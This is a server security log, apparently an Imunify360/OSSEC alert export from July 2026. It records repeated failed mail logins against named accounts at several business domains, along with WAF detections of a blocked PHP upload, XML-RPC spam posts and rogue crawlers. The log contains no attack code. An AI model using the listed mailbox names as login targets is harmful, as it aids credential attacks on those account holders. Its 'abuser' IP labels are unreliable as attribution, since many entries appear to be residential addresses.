abuser: 65.20.237.191
country_id: 99237
description:
2026-07-20 14:58:18 dovecot_login authenticator failed for H=([49.124.151.28]) [65.20.237.191]:41423: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.129.127.204
country_id: 1835841
description:
2026-07-20 14:58:31 dovecot_login authenticator failed for H=([123.163.48.70]) [125.129.127.204]:34776: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.158.22.0
country_id: 99237
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ba873323 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-20 15:03:00 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([72.239.145.229]) [80.223.190.179]:59724: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 156.226.23.157
country_id: 241170
domain: keralapeople.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:166297||Sizes:6347||Combined size:6347||User:keralapeople||WPU:||Filename:filefuns.php||Scanned:/tmp//20260720-150424-al3roGVmuRmHm0-b7oWXqgAAARY-file-l5DCQm||SC:/home/keralapeople/public_html/admin.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.97.161.6
country_id: 2635167
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/eb3856877 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-20 15:05:12 dovecot_plain authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net (frecol) [73.203.17.220]:49808: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.7.189.69
country_id: 6252001
description:
2026-07-20 15:05:17 dovecot_plain authenticator failed for H=c-24-7-189-69.hsd1.ca.comcast.net (ovele) [24.7.189.69]:39396: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.5.28
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.174.226
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.34.145
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-20 15:07:31 dovecot_login authenticator failed for H=(biophormula.static.gvt.net.br) [175.200.217.128]:34618: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.33.230
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.6.137
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.61.116
country_id: 6251999
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.185.207
country_id: 1605651
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.35.179
country_id: 6252001
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.45.229
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.35.231
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.162.253.2
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/202668700 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 71.38.95.144
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/4c903502 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 15:16:38 dovecot_login authenticator failed for H=([62.192.226.83]) [102.210.148.41]:56090: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-20 15:17:52 dovecot_login authenticator failed for H=(79.223.139.122.adsl-pool.jlccptt.net.cn) [182.95.181.26]:56458: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.123.87.143
country_id: 1835841
description:
2026-07-20 15:18:03 dovecot_login authenticator failed for H=([182.74.216.122]) [210.123.87.143]:46810: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-20 15:18:17 dovecot_login authenticator failed for H=([207.254.29.22]) [106.201.237.208]:59842: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-20 15:18:27 dovecot_login authenticator failed for H=(syn-174-134-045-064.res.spectrum.com) [202.153.46.43]:50246: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-20 15:20:53 dovecot_login authenticator failed for H=([196.191.212.226]) [205.250.25.62]:60562: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.33
country_id: 1668284
description:
2026-07-20 15:20:33 dovecot_login authenticator failed for H=([182.95.106.102]) [101.13.5.33]:43074: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-20 15:23:26 dovecot_login authenticator failed for H=(111-70-14-135.emome-ip.hinet.net) [115.74.104.233]:50216: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.192.54.219
country_id: 1835841
description:
2026-07-20 15:23:36 dovecot_login authenticator failed for H=([152.52.239.169]) [211.192.54.219]:47256: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.205.170.19
country_id: 6252001
description:
2026-07-20 15:24:59 dovecot_login authenticator failed for H=wsip-72-205-170-19.no.no.cox.net ([72.206.74.97]) [72.205.170.19]:33250: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-20 15:25:06 dovecot_login authenticator failed for H=([146.66.76.174]) [147.148.205.252]:48640: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-20 15:25:55 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([199.102.105.241]) [71.229.1.186]:35146: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-20 15:26:17 dovecot_login authenticator failed for H=([183.171.12.224]) [65.20.217.64]:46025: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-20 15:27:26 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net ([49.124.152.35]) [27.124.111.122]:51376: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-20 15:27:39 dovecot_login authenticator failed for H=([49.124.151.5]) [121.202.206.119]:59010: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.239.86.110
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/931076148 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-20 15:35:57 dovecot_login authenticator failed for H=([59.177.12.54]) [94.16.17.139]:40906: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.155.146
country_id: 1835841
description:
2026-07-20 15:36:37 dovecot_login authenticator failed for H=([24.249.199.9]) [14.49.155.146]:47097: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 198.144.190.206
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:198.144.190.206||TA:198.144.190.206||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.225.214.234
country_id: 2661886
description:
2026-07-20 15:40:18 dovecot_plain authenticator failed for H=90-225-214-234-no2102.tbcn.telia.com (romerf) [90.225.214.234]:36994: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked\">1v1.lol unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.103.36.176
country_id: 1819730
description:
2026-07-20 15:40:52 dovecot_login authenticator failed for H=176.36.103.218.static.netvigator.com ([103.156.26.25]) [218.103.36.176]:51088: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.95.243
country_id: 1269750
description:
2026-07-20 15:44:10 dovecot_login authenticator failed for H=(wsip-24-234-239-46.lv.lv.cox.net) [202.62.95.243]:46383: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-20 15:43:38 dovecot_login authenticator failed for H=([49.124.159.188]) [116.74.91.50]:59152: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-20 15:44:31 dovecot_login authenticator failed for H=(undefined.sevstar.net) [98.122.215.23]:48078: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-20 15:45:25 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([217.24.185.98]) [89.152.82.108]:60218: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-20 15:45:36 dovecot_login authenticator failed for H=(c83-191-176-93.bredband.tele2.se) [89.121.255.194]:15093: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.86.204.243
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e63182353 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-20 15:45:54 dovecot_login authenticator failed for H=([104.200.135.42]) [78.187.9.111]:37274: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-20 15:49:17 dovecot_login authenticator failed for H=([59.177.12.54]) [203.252.10.3]:30489: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-20 15:49:32 dovecot_login authenticator failed for H=([112.94.5.43]) [122.169.40.221]:52942: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-20 15:50:20 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se (nsg-corporate-183.230.187.122.airtel.in) [83.255.209.245]:37198: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-20 15:51:55 dovecot_login authenticator failed for H=(151.237.115.206.pronet.bg) [218.159.144.187]:41872: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.236.209
country_id: 6252001
description:
2026-07-20 15:52:15 dovecot_login authenticator failed for H=wsip-70-183-236-209.pn.at.cox.net (syn-024-097-253-246.biz.spectrum.com) [70.183.236.209]:45714: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-20 15:52:50 dovecot_login authenticator failed for H=(201-60-198-162.bbone.telesp.net.br) [119.92.76.210]:42968: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.97.94
country_id: 1269750
description:
2026-07-20 15:53:07 dovecot_login authenticator failed for H=(148.177.252.27.dyn.cust.vf.net.nz) [122.170.97.94]:56386: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-20 15:53:36 dovecot_login authenticator failed for H=([49.125.201.83]) [94.16.17.139]:37578: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-20 15:54:02 dovecot_login authenticator failed for H=([193.232.203.117]) [106.0.165.219]:45687: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.192.201.106
country_id: 2661886
description:
2026-07-20 15:54:18 dovecot_login authenticator failed for H=h31-192-201-106.cust.bredband2.com ([59.28.170.183]) [31.192.201.106]:47718: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.192.57.118
country_id: 1880251
description:
2026-07-20 15:54:37 dovecot_login authenticator failed for H=([144.24.209.174]) [151.192.57.118]:59245: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.158
country_id: 1668284
description:
2026-07-20 15:56:46 dovecot_login authenticator failed for H=111-70-29-158.emome-ip.hinet.net ([125.19.218.50]) [111.70.29.158]:52225: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-20 15:57:26 dovecot_login authenticator failed for H=([59.20.150.99]) [121.202.206.119]:36750: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 103.227.66.196
country_id: 2077456
domain: www.idealloanz.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.212.191.16
country_id: 1861060
description:
2026-07-20 16:02:16 dovecot_login authenticator failed for H=st0848.nas811.p-aichi.nttpc.ne.jp ([123.116.141.82]) [202.212.191.16]:34301: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.235.110
country_id: 1269750
description:
2026-07-20 16:02:36 dovecot_login authenticator failed for H=([118.26.153.102]) [128.185.235.110]:48114: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.205.18.71
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/13633351 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.131.87.220
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/151816045 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.15.208
country_id: 294640
description:
2026-07-20 16:11:43 dovecot_plain authenticator failed for H=(moisoled) [109.226.15.208]:60340: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-20 16:14:18 dovecot_login authenticator failed for H=(111-70-23-222.emome-ip.hinet.net) [14.51.12.142]:36072: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.195.184.129
country_id: 2802361
description:
2026-07-20 16:14:33 dovecot_login authenticator failed for H=d54c3b881.access.telenet.be (201-60-198-162.bbone.telesp.net.br) [84.195.184.129]:62614: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.94.154.144
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/473415338 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.63.29
country_id: 1835841
description:
2026-07-20 16:16:19 dovecot_login authenticator failed for H=([182.156.80.11]) [222.120.63.29]:59189: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.72.103
country_id: 2077456
description:
2026-07-20 16:16:34 dovecot_login authenticator failed for H=([83.239.0.202]) [118.211.72.103]:42188: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 88.148.91.5
country_id: 2510769
domain: yukticlick.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:88873.yukticlick.com||ServerName:yukticlick.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:60401f7228abb716ef6870c4fda4eae87de870f8||Title:0x3330213c||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.24.210.58
country_id: 6252001
description:
2026-07-20 16:18:38 dovecot_login authenticator failed for H=72-24-210-58.cpe.sparklight.net ([110.227.213.163]) [72.24.210.58]:37636: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-20 16:18:53 dovecot_login authenticator failed for H=([220.180.171.157]) [185.5.234.249]:44596: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-07-20 16:19:43 dovecot_plain authenticator failed for H=68.129.5.84.rev.sfr.net (notent) [84.5.129.68]:62222: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.232.174
country_id: 1269750
description:
2026-07-20 16:19:46 dovecot_plain authenticator failed for H=(soolow) [152.52.232.174]:42318: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-20 16:19:53 dovecot_login authenticator failed for H=([213.176.122.32]) [121.128.84.224]:42370: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.219.148
country_id: 1835841
description:
2026-07-20 16:19:58 dovecot_login authenticator failed for H=([61.1.105.105]) [211.63.219.148]:41878: 535 Incorrect authentication data (set_id=swiderek.pawel@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.143.65.132
country_id: 3144096
description:
2026-07-20 16:20:08 dovecot_login authenticator failed for H=([49.124.152.33]) [94.143.65.132]:51288: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.215.224.222
country_id: 895949
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:15092.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c99c16b37fdb774d31460f9e27cd4ca4543cfc85||Title:heup9rozcww0dg58||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-20 16:32:50 dovecot_login authenticator failed for H=([49.124.152.215]) [74.195.53.129]:54158: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-20 16:33:04 dovecot_login authenticator failed for H=([36.92.41.116]) [103.109.13.50]:40346: 535 Incorrect authentication data (set_id=olivier.struillou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.184.80
country_id: 99237
description:
2026-07-20 16:33:31 dovecot_plain authenticator failed for H=(golpegite) [65.20.184.80]:46516: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-20 16:36:15 dovecot_login authenticator failed for H=([182.42.113.10]) [103.176.160.146]:39370: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-20 16:36:25 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([68.71.247.133]) [83.226.56.106]:52402: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-20 16:40:24 dovecot_login authenticator failed for H=([49.124.152.147]) [183.82.56.12]:60643: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.34.106
country_id: 226074
description:
2026-07-20 16:40:38 dovecot_login authenticator failed for H=([39.129.119.45]) [196.0.34.106]:46412: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.115
country_id: 6252001
description:
2026-07-20 16:42:35 dovecot_login authenticator failed for H=wsip-72-215-46-115.pn.at.cox.net ([221.235.182.76]) [72.215.46.115]:46348: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.194.195.123
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c6643713 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-20 16:43:09 dovecot_login authenticator failed for H=([178.178.222.53]) [122.185.146.166]:60314: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-20 16:44:10 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com (karuna.divineled.com) [90.230.168.26]:39014: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.112.148.66
country_id: 130758
description:
2026-07-20 16:43:18 dovecot_login authenticator failed for H=([192.111.135.19]) [185.112.148.66]:53727: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-07-20 16:43:28 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com ([183.171.7.149]) [69.172.79.198]:62611: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.49.161
country_id: 1733045
description:
2026-07-20 16:43:56 dovecot_login authenticator failed for H=([125.129.142.200]) [183.171.49.161]:36240: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.9.13
country_id: 1835841
description:
2026-07-20 16:44:22 dovecot_login authenticator failed for H=(89-233-203-159.cust.bredband2.com) [221.162.9.13]:55416: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-20 16:44:48 dovecot_login authenticator failed for H=([36.154.20.34]) [206.62.136.109]:42808: 535 Incorrect authentication data (set_id=olivier.struillou@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-20 16:48:47 dovecot_plain authenticator failed for H=(flanjuries) [122.187.116.110]:40910: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.74.104.233
country_id: 1562822
description:
2026-07-20 16:56:04 dovecot_login authenticator failed for H=(partner.filtersite.shop) [115.74.104.233]:51640: 535 Incorrect authentication data (set_id=swiderek.pawel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.190
country_id: 1835841
description:
2026-07-20 16:55:13 dovecot_login authenticator failed for H=(dsl-94-233-26-154.avtlg.ru) [1.250.67.190]:40764: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 191.101.106.16
country_id: 2921044
domain: globalgroupoman.com
description:
